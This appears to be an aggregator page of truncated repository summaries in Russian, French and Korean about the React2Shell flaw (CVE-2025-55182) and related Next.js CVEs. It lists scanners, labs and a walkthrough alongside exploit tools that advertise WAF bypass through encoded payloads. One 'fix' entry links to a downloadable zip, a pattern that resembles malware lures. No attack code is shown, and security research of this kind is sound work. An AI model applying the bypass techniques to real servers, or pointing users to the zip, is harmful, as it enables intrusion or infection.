React2Shell-Kingdom

Проект демонстрации уязвимости React CVE-2025-55182 ⚠️ ПРЕДУПРЕЖДЕНИЕ О БЕЗОПАСНОСТИ Этот проект демонстрирует критическую уязвимость удаленного выполнения кода RCE CVE-2025-55182 / React2Shell в React Server Components 19.1.1. ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И ИССЛЕДОВАНИЙ БЕЗОПАСНОСТИ НИКОГДА н...

CVE-2025-55183-poc

CVE-2025-55183-poc – Divulgation du code source des fonctions serveur des composants React Server Next.js Ce dépôt contient des outils de détection pour une vulnérabilité de divulgation de code source dans Next.js React Server Components RSC / Server Actions , suivie sous l'identifiant...

react2shellVulnApp

React2Shell: лаборатория уязвимого банковского приложения Преднамеренно уязвимое банковское приложение для CVE-2025-55182 React и CVE-2025-66478 Next.js, позволяющее изучать, обнаруживать и безопасно отрабатывать React2Shell. Работает на непропатченных React 19.0.0 и Next.js 15.0.3. Обзор...

fix-react2shell-next

🚀 fix-react2shell-next - Corrigez les vulnérabilités de votre application https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip 📥 Télécharger maintenant 📝 Aperçu fix-react2shell-next vous aide à résoudre un problème de sécurité critique dans vos...

CVE-2025-55182-bypass

CVE-2025-55182 Обход заголовка Обход заголовка Next-Action для CVE-2025-55182. Достигает React RSC RCE без характерных заголовков, обходя правила WAF. Ключевое открытие Заголовок Next-Action НЕ требуется для эксплуатации. Вектор атаки| Заголовок Next-Action| Обнаружение WAF ---|---|--- Исходный...

RSC-Detect-CVE-2025-55182

🔎 RSC-Detect — Детектор React Server Components Лёгкая утилита для обнаружения React Server Components и приложений Next.js 🎯 Назначение RSC-Detect — это простая узкоспециализированная утилита для определения веб-сайтов, использующих React Server Components RSC и фреймворк Next.js. Она полезна дл...

NextRce

NextRce - Next.js RSC 익스플로잇 도구 CVE-2025-55182 Next.js App Router를 위한 고급 취약점 스캐너 및 익스플로잇 도구 개발자:Mitsec 🔥 새로운 기능: WAF 우회 모드 UTF-16LE childprocess나 execSync 같은 키워드를 포함한 일반적인 페이로드는 종종 웹 애플리케이션 방화벽WAF에 의해 차단됩니다. NextRCSWaff.py 는 특수 제작된 UTF-16LE Little Endian 인코딩 엔진을 활용합니다. 악성 페이로드를 이 특정 형식으로 인코딩하면 바이트...

CVE-2025-55182-poc

CVE-2025-55182 Уязвимость протокола React Flight, позволяющая обходить цепочку прототипов через ссылки на фрагменты. Проверено на bullshit-react-project. Обнаружение Эта информация немного устарела, так как настоящий PoC уже был раскрыт. Vite RSC : bash ./vite-detect.sh https://example.com Next.j...

RSC-Scanner-POC

Сканер раскрытия исходного кода Next.js RSC Сканер безопасности для обнаружения уязвимости CVE-2025-55183 – раскрытия исходного кода Next.js React Server Components RSC. Описание Данный сканер обнаруживает раскрытие исходного кода в Next.js React Server Components RSC. Вредоносный HTTP-запрос,...

Next.js-RSC-RCE-Scanner-Burp-Suite-Extension

Next.js RSC RCE Scanner Расширение Burp Suite Высокоточное расширение Burp Suite для обнаружения уязвимости удаленного выполнения кода Next.js / React Server Components RSC CVE-2025-55182 и CVE-2025-66478. Это расширение реализует логику обнаружения, разработанную командой кибербезопасности...

Nextjs_Exploit_Tool

Инструмент эксплуатации Next.js RSC RCE CVE-2025-55182 Описание проекта CVE-2025-55182 — это высокоопасная уязвимость в цепочке обработки серверных компонентов RSC Next.js. Злоумышленник, формируя специальные запросы multipart/form-data и поддельные блоки ответа RSC, может заставить сервер...

CVE-2025-55182-POC

CVE-2025-55182 POC и Обнаружение Сборник эксплойтов и средств обнаружения уязвимости небезопасной десериализации React Server Components RSC Информация об уязвимости CVE-ID : CVE-2025-55182 Версии под влиянием : React 19.x, Next.js 15.x/16.x при использовании App Router Вектор атаки : RCE через...

HTB-Reactor-Linux-Machine-Walkthrough

HTB: Reactor !CAUTION Предупреждение о спойлерах. Это полное прохождение, включая флаги. Если вы хотите решить машину самостоятельно, закройте это сейчас и вернитесь, когда застрянете. Информация о машине Поле| Подробности ---|--- Название| Reactor ОС| Ubuntu 24.04 LTS Noble Сложность| Medium CVE...

React2Shell

RSC Sentinel Расширение Firefox для обнаружения уязвимостей React2Shell CVE-2025-55182 и CVE-2025-66478 в веб-приложениях. 👁️ Обзор RSC Sentinel — это расширение Firefox для специалистов по безопасности и преподавателей, которые хотят наблюдать индикаторы React Server Components RSC и Next.js App...

CVE-2025-55182

CVE-2025-55182 Si vous cherchez une véritable explication, msanft/CVE-2025-55182 en propose une bonne avec un PoC fonctionnel. Ce dépôt ne contient que quelques trucs que j'ai essayés, qui ont donné des résultats plus ou moins intéressants. ./thing.py contient désormais un PoC fonctionnel, dont l...

CVE-2025-55182-poc

CVE-2025-55182-poc Эксплойт proof-of-concept PoC для CVE-2025-55182 , нацеленный на неаутентифицированную уязвимость удалённого выполнения кода RCE в Next.js Server Actions. Этот эксплойт использует загрязнение прототипа prototype pollution во время десериализации multipart-полезных нагрузок Reac...

CVE-2025-55182-Terminal

Next.js RSC Vulnerability Scanner CVE-2025-66478 / CVE-2025-55182 Легковесный, многопоточный инструмент Proof of Concept PoC, предназначенный для обнаружения и демонстрации уязвимости удаленного выполнения кода React2Shell в Next.js React Server Components RSC. Этот инструмент позволяет как...

RSC-Infra-Scanner

RSC Infra Scanner rscinfrascan.py — это быстрый асинхронный инструмент на Python, который определяет по отпечаткам домены, вероятно использующие инфраструктуру Next.js App Router / React Server Components RSC. Он не эксплуатирует никаких уязвимостей. Он выполняет только пассивное...

CVE-2025-55182

CVE-2025-55182: Уязвимость небезопасной десериализации React Server Components Обзор CVE-2025-55182 также известная как React2Shell — это критическая уязвимость небезопасной десериализации, обнаруженная в React Flight Protocol, затрагивающая полезные данные payload React Server Components RSC...

react2shell_detector

Détecteur React2Shell Scanner heuristique pour les vulnérabilités des composants serveur React RSC — y compris le comportement de type React2Shell CVE-2025-55182 Aperçu react2shelldetector.py est un scanner de sécurité sûr et non invasif conçu pour détecter les systèmes potentiellement exposés au...